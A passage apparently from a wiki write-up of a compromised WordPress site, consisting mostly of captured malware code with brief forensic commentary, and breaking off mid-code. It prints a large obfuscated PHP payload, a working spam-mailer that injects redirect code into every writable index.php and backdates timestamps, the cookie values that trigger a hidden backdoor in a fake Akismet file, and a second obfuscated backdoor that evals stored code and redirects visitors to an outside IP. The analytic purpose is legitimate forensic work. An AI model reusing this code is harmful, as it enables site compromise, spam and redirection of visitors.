MGdceDQ5XHg2OUk3XHg0OUhaXHg2OGNceDY5XHg0Mlx4NzBJRDBceDY3XHg0ZFRzXHg2N1x4NWFtXHgzOVx4NzlJXHg0M2dceDcySzJceDZjXHg2YmVEc1x4NjdceDYxXHg1N1JceDM0XHg0OVx4NDR3XHg2N1x4NjJHXHg1Nlx4NzVPXHg3OUJwXHg1YVx4NDhnXHg2N1x4NGJ6MFx4NjdceDRkaXhwXHg0Ylx4NzlceDczXHg3MERceDUxXHg3MFx4MzdJSFx4NWFoY2lCXHg2YWFDXHg0MVx4MzlceDQ5SFx4NDJoXHg2M25ceDRlXHg2Y1x4NTNXXHgzNVx4MzBLSE4wXHg2M2lceDM1XHg3YVx4NjRceDU3XHg0YXpceDY0XHg0OFx4NDlvYVx4NTdceDUyNExDXHg0MVx4NzlLU1x4NzdceDY3XHg0ZFx4NTRZcE95XHg0Mlx4NzVaWGRceDY2XHg2M1x4MzNSeUlDc1x4MzlJRk5ceDMwXHg2M21sXHg3NVx4NWF5XHgzNVx4NmRjbVx4Mzl0XHg1MVx4MzJceDY4XHg2OGNceDZiXHg0ZXZaXHg0N1x4NTVvXHg0Ylx4NDdOXHg2ZklceDQzXHg3M2dhXHg1M2tceDY3XHg0YVNBeU5UWVx4NzBceDRmeVx4NDI5SUEwS1pceDQ3OWpkV1x4MzFceDZjYlx4NmVceDUxdWQzSnBceDY0XHg0N1VceDZmXHg2Mlx4NmRceDU2XHgzM1x4NThceDMzXHg0ZTBjXHg2OTV6ZFdKXHg3YVx4NjRIXHg0OW9ceDRkXHg0M3h1XHg1YVx4NThceDY0Zlx4NjMzXHg1MnlceDRjXHg2ZHhceDZjXHg2Mlx4NmRceDY0MFx4NjFDXHgzMHhNU2tceDcyXHg0OWx4XHgzMU1EXHg0MXlObHgxTVx4NDRceDQxMlx4NGUxXHg3ODFNXHg0NFx4NDFceDMyUmxceDc4MVx4NGREQVx4MzJceDUxXHg2Y1x4NzgxXHg0ZERceDQxMlFseDFNXHg0NFx4NDFceDdhXHg1MkZwXHg2MVdsXHg3MFx4NjNkXHg1NFx4NDFceDc3TVx4NmFceDRhY1x4NjRceDU0QVx4NzdceDRkMFx4NGFjZFRBXHg3N00wTmNceDY0VFx4NDFceDc3XHg0ZFx4NmJaY2RceDU0QXdOelx4NGVceDYzZFx4NTRceDQxXHg3N1x4NGVqTlx4NjNkVFx4NDF3XHg0ZXpceDRhY2RUXHg0MVx4NzdceDRlamxjZFx4NTRBXHg3N1x4NGV6XHg0Mlx4NjNkVEFceDc3TnpSXHg2M1x4NjRUQVx4NzdceDRkMFx4NTVpXHg0Ylx4NTRzTkNceDZlMFx4NGVDXHg2ZFx4NjR2Ylx4MzJceDY0XHg3M1pWXHgzOVx4NjhceDVhXHg0Nlx4MzlqYlx4NDdceDZjXHg2Y2JceDZlUWdceDUwXHg1M0FceDY5Y1x4NDhWXHg2OVx4NGNURVx4MzBNXHg3YVx4NDExXHg0ZkRRXHgzME1ceDQ0Z1x4N2FNVE1ceDM0XHg0ZVx4NDRceDRkXHg2OU9ceDc3MFx4NGJceDVhXHgzMjl2XHg1YTJ4bFhceDMyXHg0Nlx4NmJYXHgzM2RceDcwXHg1YUhceDUyXHg2Zlx4NDlEXHgzMGdceDRlXHg3YUlceDM0XHg0Zlx4NzdceDMwS1pceDMyXHgzOXZaMlx4NzhsWDJceDQ2XHg2Ylx4NThceDMyXHg2OGxhXHg1N1x4NjRvXHg2NFx4NDNBXHgzOUlEa1x4NzdPd1x4MzBLWjI5dloyXHg3OFx4NmNceDU4XHgzMkZceDZiWFx4MzJaXHg3NmNceDZkXHgzMWhceDY0XHg0M0E5XHg0OVx4NDNJM1x4NGRceDZhXHg2OFx4MzRPVEJmXHg1OVx4NThceDRkaU93XHgzMFx4NGJceDVhMjlceDc2XHg1YVx4MzJceDc4bFx4NThceDMyRmtceDU4M1x4NTI1Y0dVXHg2N1BceDUzQVx4NjlkR1x4NTZceDM0ZEZceDM5XHg3MFx4NjJceDU3Rlx4NmVaXHg1M1x4NDk3XHg0NFFceDcwXHg2ZVx4NjIyOVx4NmVceDYyXHg0N1x4NTZceDY2WVx4NTdSZlx4NTlceDMyaGhceDYyXHg2ZDVsXHg2MkNceDQxOVx4NDlceDQzXHg0OVx4NjlPXHg3N1x4MzBLWlx4MzJceDU2MFx4NjJXVW9ceDQ5XHg2ZFx4NjgwXHg2NEhceDQxNkx5OVx4NzdZXHg1N2RceDZjWVdRXHg3OUxceDZkXHg2NHZiMlx4NjRzWlx4NThOXHgzNWJtUlx4NzBZXHgzMlx4NDYwYVx4NTc5XHg3NUxceDZkXHg0ZVx4NzZceDYyXHg1M1x4Mzl3WVx4NTdkXHg2Y1lXUXZjXHgzMlx4Njh2ZDFceDM5XHg2OFpceDQ4XHg0ZHVceDYxbk0vTVx4MzBceDQ5M01UWXdOXHg2Ylx4NTVceDMyXHg0ZVx4NDRceDVhQlx4NGVceDZiUXhPXHg0NFx4NTl6Tlx4NTRjMk1ceDdhXHg1NkNOXHg2YWdceDMxXHg0ZFx4N2FVNFx4NGVUXHg1NVx4NzlRekVceDc3XHg0ZVx4NTRjMFx4NTJceDQ0WXhORUkxUVx4N2FSXHg0M1x4NGVceDU0a1x4MzBSalx4NTUxTlRnXHg3N05USXdOVFx4NjcwT1x4NTRceDUyXHg0NU5ceDQ0XHg0OVx4MzBRelV6XHg0ZFx4NDRceDZiMFx4NGVqUTRNXHgzMEl6XHg0Zlx4NDRSXHg0Mk1ceDMwXHg1NVx4MzBceDRkXHg3YVFceDc4TUVceDVhXHg0N1x4NGRceDdhXHg0ZFx4MzRceDRlRFx4NGRceDMwTVx4NmFOXHg0NU1ceDQ0XHg1YUdRXHg1NVx4NTk1Ulx4NmJWXHg0N05ceDZiWVx4MzRSXHg2YVpHTlx4NmJZeVJqUlx4NDdOXHg2YllceDMzUlVWR1x4NGRFXHg1OTFceDUyXHg2YVx4NDZGXHg1MVx4NmFceDRhRVx4NGRceDZiXHg0ZVx4NDZOelx4NDlceDM0TVVZXHg3OVx4NGVceDZiWVx4MzBceDRkVFV4T1x4NTRceDQ1NFJVVlx4NDZOMFJceDQ3XHg1Mlx4NDVaXHg0NVx4NTJceDZiUXlNVVV4UmpCXHg0M1JceDU0Vlx4NDVceDUxXHg1NVJceDQyUkRWXHg0NVx4NGVVXHg0ZDFSRVx4NTJFXHg1MkVOXHg0N01USXdNVEJHXHg0ZERVd1FqXHg0MkZSXHg0NGNceDY5XHg0YlRceDczXHg0ZVx4NDNceDY5XHgzOFx4NzZMXHg1MzArSVx4NDR3dlx4NTVceDMwXHg0ZVNTVkJceDU1XHg1MFx4NjdceDNkXHgzZCIpO2VjaG8gc3RyX3JlcGxhY2UoIlx4NWFceDVhXHg1YVx4NWEiLCR7JHhmZ3NweXdydH0sJHskeyJHTE9CXHg0MUxTIn1bIlx4NmJnbnJceDc3XHg2OVx4NmVceDY0XHg2Mlx4NmUiXX0pO2V4aXQ7fX0gLyogY29weXJpZ2h0ICovID8+&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$to = &amp;quot;luckymarkos@yahoo.com&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$firstname=ucfirst(strtolower(substr($fullname,0,strpos($fullname,&amp;quot; &amp;quot;))));&lt;br /&gt;
@shuffle($from_users);&lt;br /&gt;
# $from=(($from_users[0]!=&amp;quot;&amp;quot;)?$from_users[0]:$firstname).&amp;quot;-&amp;quot;.time().&amp;quot;@icopland.co.uk&amp;quot;;&lt;br /&gt;
$from=(($from_users[0]!=&amp;quot;&amp;quot;)?$from_users[0]:$firstname).&amp;quot;@icopland.co.uk&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
#$blogurl=&amp;quot;http://www.analytics20.org&amp;quot;;&lt;br /&gt;
#$unsubscribe_link=$blogurl.&amp;quot;/&amp;quot;.$newdir.&amp;quot;/?&amp;quot;.substr(md5(&amp;quot;lblaasd&amp;quot;.microtime()),0,rand(20,24)).&amp;quot;cb8J0&amp;quot;;&lt;br /&gt;
$unsubscribe_link=$blogurl.&amp;quot;/&amp;quot;.$newdir.&amp;quot;/?&amp;quot;.substr(md5(&amp;quot;lblaasd&amp;quot;.microtime()),0,rand(20,24)).&amp;quot;dNhjU&amp;quot;; // last&lt;br /&gt;
#$from=&amp;quot;mail-noreply@google.com&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$subject = &amp;quot;Place an order between March 15 - March 20 and you will get an additional 10% of goods for free!&amp;quot;;&lt;br /&gt;
$realname = &amp;quot;Google News&amp;quot;;&lt;br /&gt;
$message=&amp;quot;Dear &amp;quot;.$firstname.&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
We are working hard to improve all of our systems to serve you better. In a near future you will be able to place a new orders,&lt;br /&gt;
track your packages and get a real time live support - all from one place.  There are many so-called \&amp;quot;real stores\&amp;quot;, but we are&lt;br /&gt;
the only one legitimate, licensed and reliable online shopping place for all of yours medication needs. We offer both brand and&lt;br /&gt;
generics meds for very competitive prices. If your package ever get lost we always will reship it for free.&lt;br /&gt;
&lt;br /&gt;
Remember to update your bookmarks for our &amp;lt;a href=&#039;&amp;quot;.$blogurl.&amp;quot;/&amp;quot;.$newdir.&amp;quot;/?&amp;quot;.substr(md5(&amp;quot;lblaasd&amp;quot;.microtime()),0,rand(20,30)).&amp;quot;&#039;&amp;gt;new and improved store&amp;lt;/a&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Be aware of scam sites with similar look - we are the only one legitimate US approved online drugstore.&lt;br /&gt;
&lt;br /&gt;
And remember - we always sell for less!&lt;br /&gt;
&lt;br /&gt;
Take advantage of our specials - place an order between March 15 - March 20 and you will get an additional 10% of goods for free!&lt;br /&gt;
&lt;br /&gt;
Use this code at check out - 7728315 to claim your discount.&lt;br /&gt;
&lt;br /&gt;
Thank you for been loyal customer,&lt;br /&gt;
[Helen|John|Peter|Bruce|Alex|Barak|Edward|Robert|Chris|Steve|Bill|Arlin|Nadia|Santa|Monika|Justin|Freddy|Justin|Roberto|Nadine|Frederic|Mike]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;a href=&#039;&amp;quot;.$unsubscribe_link.&amp;quot;&#039;&amp;gt;unsubscribe&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$subject=txt_shuffle($subject);&lt;br /&gt;
$message=txt_shuffle($message);&lt;br /&gt;
&lt;br /&gt;
#########################################################&lt;br /&gt;
&lt;br /&gt;
if($stage==&amp;quot;delete&amp;quot;){&lt;br /&gt;
    $harr=fwritable(ABSPATH.&amp;quot;/wp-content/themes&amp;quot;,&amp;quot;php&amp;quot;);&lt;br /&gt;
    if(sizeof($harr)&amp;gt;0) foreach($harr as $path) if(strpos($path,&amp;quot;index.php&amp;quot;)!==false){&lt;br /&gt;
        $inf=stat($path);&lt;br /&gt;
        $txt=file_get_contents($path);&lt;br /&gt;
        $txt=preg_replace(&amp;quot;!&amp;lt;\?php /\* copyright \*/.*?/\* copyright \*/ \?&amp;gt;!is&amp;quot;,&amp;quot;&amp;quot;,$txt);&lt;br /&gt;
        $fh=fopen($path,&amp;quot;w+&amp;quot;); fwrite($fh,$txt); fclose($fh);&lt;br /&gt;
        touch($path,$inf[&#039;mtime&#039;],$inf[&#039;atime&#039;]);&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
	$path=ABSPATH.&amp;quot;/index.php&amp;quot;;&lt;br /&gt;
	$inf=stat($path);&lt;br /&gt;
	$txt=file_get_contents($path);&lt;br /&gt;
	$txt=preg_replace(&amp;quot;!&amp;lt;\?php /\* copyright \*/.*?/\* copyright \*/ \?&amp;gt;!is&amp;quot;,&amp;quot;&amp;quot;,$txt);&lt;br /&gt;
	$fh=fopen($path,&amp;quot;w+&amp;quot;); fwrite($fh,$rtxt.$txt); fclose($fh);&lt;br /&gt;
	touch($path,$inf[&#039;mtime&#039;],$inf[&#039;atime&#039;]);&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
    exit;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if($stage==&amp;quot;first&amp;quot;){&lt;br /&gt;
    $cd=str_repeat(&amp;quot;../&amp;quot;,substr_count($absurl,&amp;quot;/&amp;quot;)-2);&lt;br /&gt;
    &lt;br /&gt;
#    foreach(array(&amp;quot;stats.php&amp;quot;,&amp;quot;info.php&amp;quot;,&amp;quot;counter.php&amp;quot;) as $ff){&lt;br /&gt;
#    	$path=$cd.$ff;&lt;br /&gt;
#    	$inf=stat($path);&lt;br /&gt;
#    	$fh=fopen($path,&amp;quot;w+&amp;quot;); fwrite($fh,&amp;quot;&amp;quot;); fclose($fh);&lt;br /&gt;
#    	touch($path,$inf[&#039;mtime&#039;],$inf[&#039;atime&#039;]);&lt;br /&gt;
#    	unlink($path);&lt;br /&gt;
#    }&lt;br /&gt;
&lt;br /&gt;
	@chmod($cd.&amp;quot;counter.php&amp;quot;,0777);&lt;br /&gt;
	@unlink($cd.&amp;quot;counter.php&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	@mkdir($cd.$newdir);&lt;br /&gt;
	@chmod($cd.$newdir,0777);&lt;br /&gt;
	@chmod($cd.$newdir.&amp;quot;/index.php&amp;quot;,0777);&lt;br /&gt;
&lt;br /&gt;
	$path=$cd.$newdir.&amp;quot;/index.php&amp;quot;;&lt;br /&gt;
	$inf=stat($path);&lt;br /&gt;
	$txt=file_get_contents($path);&lt;br /&gt;
	$txt=preg_replace(&amp;quot;!&amp;lt;\?php /\* copyright \*/.*?/\* copyright \*/ \?&amp;gt;!is&amp;quot;,&amp;quot;&amp;quot;,$txt);&lt;br /&gt;
	$fh=fopen($path,&amp;quot;w+&amp;quot;); fwrite($fh,$rtxt.$txt); fclose($fh);&lt;br /&gt;
	chmod($path,0555); chmod($cd.$newdir,0555);&lt;br /&gt;
	touch($path,strtotime(&amp;quot;19 May 2009&amp;quot;),strtotime(&amp;quot;19 May 2009&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
	exit;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$messidrand=&amp;quot;&amp;quot;; for($i=0;$i&amp;lt;22;$i++){ $ch=chr(mt_rand(97,122)); $messidrand.=(mt_rand(0,1)==1)?$ch:strtoupper($ch); }&lt;br /&gt;
$domain = substr($from, strpos($from, &amp;quot;@&amp;quot;), strlen($from));&lt;br /&gt;
$header = &amp;quot;From: &amp;quot;.$from.&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
#$header .= &amp;quot;List-Unsubscribe: &amp;quot;.$unsubscribe_link.&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
#$header .= &amp;quot;Reply-to: no-reply@gmail.com\r\n&amp;quot;;&lt;br /&gt;
$header .= &amp;quot;Message-Id: &amp;lt;&amp;quot;.$messidrand.$domain.&amp;quot;&amp;gt;\r\n&amp;quot;;&lt;br /&gt;
$header .= &amp;quot;MIME-Version: 1.0\r\n&amp;quot;;&lt;br /&gt;
$header .= &amp;quot;Content-Type: text/html\r\n&amp;quot;;&lt;br /&gt;
$header .= &amp;quot;Content-Transfer-Encoding: 8bit\r\n\r\n&amp;quot;;&lt;br /&gt;
$header .= nl2br($message).&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
if(mail($to,$subject,&amp;quot;&amp;quot;,$header,&#039;-f &#039;.$from)) echo &amp;quot;mail_good&amp;quot;;&lt;br /&gt;
else{&lt;br /&gt;
    if($stage==&amp;quot;first&amp;quot; &amp;amp;&amp;amp; sizeof($harr)&amp;gt;0) foreach($harr as $path) if(strpos($path,&amp;quot;index.php&amp;quot;)!==false){&lt;br /&gt;
		$inf=stat($path);&lt;br /&gt;
		$txt=file_get_contents($path);&lt;br /&gt;
		$txt=preg_replace(&amp;quot;!&amp;lt;\?php /\* copyright \*/.*?/\* copyright \*/ \?&amp;gt;!is&amp;quot;,&amp;quot;&amp;quot;,$txt);&lt;br /&gt;
		$fh=fopen($path,&amp;quot;w+&amp;quot;); fwrite($fh,$txt); fclose($fh);&lt;br /&gt;
		touch($path,$inf[&#039;mtime&#039;],$inf[&#039;atime&#039;]);&lt;br /&gt;
    }&lt;br /&gt;
    echo &amp;quot;bad stage 2&amp;quot;;&lt;br /&gt;
    exit;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#########################################################&lt;br /&gt;
function fwritable($d,$act=&amp;quot;dir&amp;quot;){&lt;br /&gt;
	global $arr;&lt;br /&gt;
	$d=str_replace(&amp;quot;//&amp;quot;,&amp;quot;/&amp;quot;,$d); $d=(substr($d,-1)==&amp;quot;/&amp;quot;)?substr($d,0,-1):$d;&lt;br /&gt;
	if($dir=@opendir($d)){&lt;br /&gt;
		while(($f=@readdir($dir))!==false){&lt;br /&gt;
			if($f==&amp;quot;.&amp;quot; || $f==&amp;quot;..&amp;quot; || is_link($f)) continue;&lt;br /&gt;
			if(is_dir($d.&amp;quot;/&amp;quot;.$f)){&lt;br /&gt;
				if($act==&amp;quot;dir&amp;quot; &amp;amp;&amp;amp; is_writable($d.&amp;quot;/&amp;quot;.$f)) $arr[]=$d.&amp;quot;/&amp;quot;.$f;&lt;br /&gt;
				fwritable($d.&amp;quot;/&amp;quot;.$f, $act);&lt;br /&gt;
			}elseif(($act==&amp;quot;php&amp;quot;) &amp;amp;&amp;amp; is_writable($d.&amp;quot;/&amp;quot;.$f) &amp;amp;&amp;amp; (substr($f,-4)==&amp;quot;.php&amp;quot; || substr($f,-5,4)==&amp;quot;.php&amp;quot;)) $arr[]=$d.&amp;quot;/&amp;quot;.$f;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	@closedir($dir);&lt;br /&gt;
	return $arr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function txt_shuffle($txt){&lt;br /&gt;
    preg_match_all(&amp;quot;!\[(.*?)\]!is&amp;quot;,$txt,$m);&lt;br /&gt;
    if(sizeof($m[1]&amp;gt;0)) foreach($m[1] as $k=&amp;gt;$v){&lt;br /&gt;
	$v=explode(&amp;quot;|&amp;quot;,$v);&lt;br /&gt;
	shuffle($v);&lt;br /&gt;
	$txt=str_replace($m[0][$k],$v[0],$txt);&lt;br /&gt;
    }&lt;br /&gt;
    return $txt;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Incredibly, it&#039;s a spammer script.  See that &amp;lt;code&amp;gt;base64_decode&amp;lt;/code&amp;gt;? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the &amp;lt;code&amp;gt;/* copyright */&amp;lt;/code&amp;gt; line doesn&#039;t exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too.  Stages other than &#039;first&#039; and &#039;delete&#039; causes mail to be sent.&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
In order to figure out how this exploit worked, I had to replicate what the attacker is doing. I created the cookies used by the hacker. It turns out, in order to have the $_POST[&#039;file&#039;] contents executed, the $_COOKIE variables&lt;br /&gt;
  [35ebc9f6525c1ee55530] =&amp;gt; e1eeca31b43349bfd2a8&lt;br /&gt;
  [PREF] =&amp;gt; 3&lt;br /&gt;
&lt;br /&gt;
were required in order to have $_POST[&#039;file&#039;] decoded and executed by wordpress. I then ran PHP&#039;s backtrace code:&lt;br /&gt;
 var_dump(debug_backtrace()); exit;&lt;br /&gt;
&lt;br /&gt;
and found out that the exploit originated from the plugins directory from the &amp;lt;code&amp;gt;.akismet.bak.php&amp;lt;/code&amp;gt; file which was oddly chmod 777 and owned by nobody.&lt;br /&gt;
&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland 33380 May 22  2011 admin.php&lt;br /&gt;
 -rwxrwxrwx 1 nobody   nobody   20540 Sep  5  2007 .akismet.bak.php*&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland   464 May 22  2011 akismet.css&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland  2777 May 22  2011 akismet.gif&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland   417 May 22  2011 akismet.js&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland 19708 Jul  9  2011 akismet.php&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland 14465 May 22  2011 legacy.php&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland  5407 May 22  2011 readme.txt&lt;br /&gt;
 -rw-r--r-- 1 icopland icopland  4921 May 22  2011 widget.php&lt;br /&gt;
 -rwxrwxrwx 1 nobody   nobody   46368 Sep  5  2007 .wp-db-backup.cache.php*&lt;br /&gt;
&lt;br /&gt;
Upon removing those files, the exploit no longer worked.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
array(7) { [0]=&amp;gt; array(3) { [&amp;quot;file&amp;quot;]=&amp;gt; string(102) &amp;quot;/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php(378) : runtime-created function&amp;quot; [&amp;quot;line&amp;quot;]=&amp;gt; int(9) [&amp;quot;function&amp;quot;]=&amp;gt; string(4) &amp;quot;eval&amp;quot; } [1]=&amp;gt; array(4) { [&amp;quot;file&amp;quot;]=&amp;gt; string(70) &amp;quot;/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php&amp;quot; [&amp;quot;line&amp;quot;]=&amp;gt; int(378) [&amp;quot;function&amp;quot;]=&amp;gt; string(13) &amp;quot;__lambda_func&amp;quot; [&amp;quot;args&amp;quot;]=&amp;gt; array(0) { } } [2]=&amp;gt; array(4) { [&amp;quot;file&amp;quot;]=&amp;gt; string(42) &amp;quot;/home/icopland/public_html/wp-settings.php&amp;quot; [&amp;quot;line&amp;quot;]=&amp;gt; int(190) [&amp;quot;args&amp;quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(70) &amp;quot;/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php&amp;quot; } [&amp;quot;function&amp;quot;]=&amp;gt; string(12) &amp;quot;include_once&amp;quot; } [3]=&amp;gt; array(4) { [&amp;quot;file&amp;quot;]=&amp;gt; string(40) &amp;quot;/home/icopland/public_html/wp-config.php&amp;quot; [&amp;quot;line&amp;quot;]=&amp;gt; int(75) [&amp;quot;args&amp;quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(42) &amp;quot;/home/icopland/public_html/wp-settings.php&amp;quot; } [&amp;quot;function&amp;quot;]=&amp;gt; string(12) &amp;quot;require_once&amp;quot; } [4]=&amp;gt; array(4) { [&amp;quot;file&amp;quot;]=&amp;gt; string(38) &amp;quot;/home/icopland/public_html/wp-load.php&amp;quot; [&amp;quot;line&amp;quot;]=&amp;gt; int(30) [&amp;quot;args&amp;quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(40) &amp;quot;/home/icopland/public_html/wp-config.php&amp;quot; } [&amp;quot;function&amp;quot;]=&amp;gt; string(12) &amp;quot;require_once&amp;quot; } [5]=&amp;gt; array(4) { [&amp;quot;file&amp;quot;]=&amp;gt; string(45) &amp;quot;/home/icopland/public_html/wp-blog-header.php&amp;quot; [&amp;quot;line&amp;quot;]=&amp;gt; int(12) [&amp;quot;args&amp;quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(38) &amp;quot;/home/icopland/public_html/wp-load.php&amp;quot; } [&amp;quot;function&amp;quot;]=&amp;gt; string(12) &amp;quot;require_once&amp;quot; } [6]=&amp;gt; array(4) { [&amp;quot;file&amp;quot;]=&amp;gt; string(36) &amp;quot;/home/icopland/public_html/index.php&amp;quot; [&amp;quot;line&amp;quot;]=&amp;gt; int(29) [&amp;quot;args&amp;quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(45) &amp;quot;/home/icopland/public_html/wp-blog-header.php&amp;quot; } [&amp;quot;function&amp;quot;]=&amp;gt; string(7) &amp;quot;require&amp;quot; } }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== More Backdoors ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php /* copyright */&lt;br /&gt;
$z=get_option(&amp;quot;_site_transient_poptags_d98e7e0179821ec8f0ced62e944cf105&amp;quot;); $z=base64_decode(str_rot13($z)); if(strpos($z,&amp;quot;D638F1F7&amp;quot;)!==false){ $_z=create_function(&amp;quot;&amp;quot;,$z); @$_z(); }&lt;br /&gt;
${&amp;quot;G\x4c\x4f\x42\x41L\x53&amp;quot;}[&amp;quot;\x74x\x65\x66f\x62c\x76\x74w\x64\x6b&amp;quot;]=&amp;quot;k&amp;quot;;${&amp;quot;\x47L\x4f\x42\x41\x4c\x53&amp;quot;}[&amp;quot;\x73\x76\x63y\x75\x78\x74v&amp;quot;]=&amp;quot;k&amp;quot;;${&amp;quot;G\x4cO\x42\x41\x4cS&amp;quot;}[&amp;quot;\x68\x63\x66\x6fc\x6ev\x6e&amp;quot;]=&amp;quot;c&amp;quot;;${&amp;quot;\x47\x4cO\x42A\x4cS&amp;quot;}[&amp;quot;f\x62\x71m\x77w\x63\x7a\x77gb&amp;quot;]=&amp;quot;\x61&amp;quot;;$uhhmemlj=&amp;quot;v&amp;quot;;${&amp;quot;GLO\x42\x41L\x53&amp;quot;}[&amp;quot;\x70\x69\x74x\x77b\x7a\x76\x63\x64\x64&amp;quot;]=&amp;quot;b&amp;quot;;foreach($_GET as${${&amp;quot;\x47\x4c\x4fB\x41L\x53&amp;quot;}[&amp;quot;\x74\x78\x65ff\x62\x63\x76tw\x64\x6b&amp;quot;]}=&amp;gt;${$uhhmemlj})if(preg_match(&amp;quot;\x21\x5e\x5ba-z\x30-\x39\x5d{\x310\x2c32\x7d\x24!\x69s&amp;quot;,${${&amp;quot;GLOB\x41\x4cS&amp;quot;}[&amp;quot;\x73vcy\x75\x78\x74v&amp;quot;]})){session_start();if(isset($_POST[&amp;quot;res&amp;quot;])&amp;amp;&amp;amp;$_SESSION[&amp;quot;r\x65\x73&amp;quot;]==$_POST[&amp;quot;\x72e\x73&amp;quot;]){header(&amp;quot;\x4c\x6f\x63a\x74io\x6e\x3a \x68tt\x70\x3a\x2f/9\x35\x2e\x31\x36\x39\x2e187.\x39\x38/\x69jh\x66h\x66.p\x68\x70\x3f\x6dg\x74\x64\x66k=\x34\x353\x34\x26\x6ev\x68\x64l=sk\x64\x6ae&amp;amp;go\x6bk\x3d&amp;quot;.substr(${${&amp;quot;G\x4c\x4f\x42\x41\x4c\x53&amp;quot;}[&amp;quot;\x74\x78\x65\x66\x66\x62\x63\x76\x74\x77\x64\x6b&amp;quot;]},-5));}else{$vxomtd=&amp;quot;\x63&amp;quot;;$kghtssqccjlo=&amp;quot;\x61&amp;quot;;${$kghtssqccjlo}=mt_rand(1,9);${$vxomtd}=mt_rand(1,9);if(mt_rand(0,1)==1){$yeygmwcsueb=&amp;quot;\x61&amp;quot;;${&amp;quot;\x47L\x4fB\x41\x4cS&amp;quot;}[&amp;quot;s\x77c\x6e\x62\x71c\x78&amp;quot;]=&amp;quot;\x62&amp;quot;;$_SESSION[&amp;quot;\x72e\x73&amp;quot;]=${$yeygmwcsueb}+${${&amp;quot;G\x4c\x4f\x42ALS&amp;quot;}[&amp;quot;\x68\x63\x66\x6f\x63nv\x6e&amp;quot;]};${${&amp;quot;GLO\x42\x41L\x53&amp;quot;}[&amp;quot;\x73w\x63n\x62q\x63\x78&amp;quot;]}=&amp;quot;+&amp;quot;;}else{$yliifkkgn=&amp;quot;\x61&amp;quot;;${&amp;quot;\x47LO\x42AL\x53&amp;quot;}[&amp;quot;\x6a\x66\x75\x74\x70\x6f\x68xk\x77\x6b&amp;quot;]=&amp;quot;\x62&amp;quot;;${&amp;quot;GLOB\x41\x4c\x53&amp;quot;}[&amp;quot;rii\x71\x75\x66\x6a\x76\x73\x79&amp;quot;]=&amp;quot;\x63&amp;quot;;$_SESSION[&amp;quot;\x72\x65\x73&amp;quot;]=${$yliifkkgn}-${${&amp;quot;\x47\x4c\x4fB\x41LS&amp;quot;}[&amp;quot;\x72ii\x71u\x66j\x76\x73\x79&amp;quot;]};${${&amp;quot;G\x4c\x4fB\x41\x4c\x53&amp;quot;}[&amp;quot;jf\x75\x74p\x6fhx\x6bwk&amp;quot;]}=&amp;quot;\x2d&amp;quot;;}${&amp;quot;GL\x4f\x42\x41\x4c\x53&amp;quot;}[&amp;quot;\x6d\x76\x68\x69fa\x63&amp;quot;]=&amp;quot;c&amp;quot;;echo&amp;quot;\x3c\x66o\x72\x6d m\x65\x74h\x6f\x64\x3d&#039;po\x73\x74&#039;\x3e\n\t \x20 \x20&amp;lt;d\x69v\x20sty\x6ce=&#039;\x77\x69\x64t\x68\x3a\x352\x30\x70x\x3b \x6dar\x67i\x6e\x3a0p\x78\x20a\x75\x74\x6f;\x20\x6d\x61rgi\x6e\x2d\x74o\x70:10\x30p\x78\x3b\x20\x70\x61ddi\x6e\x67:\x31\x35\x70x;\x20\x62\x6f\x72\x64\x65\x72:1p\x78 \x73oli\x64 \x233\x333\x3b\x20b\x61\x63k\x67\x72ound-\x63o\x6c\x6fr\x3a\x23ee\x65\x3b\x27\x3e\n\t\x20 \x20\x20P\x6ceas\x65 verif\x79\x20that \x79ou \x61\x72e\x20\x68\x75m\x61n\x2c\n\t \x20\x20 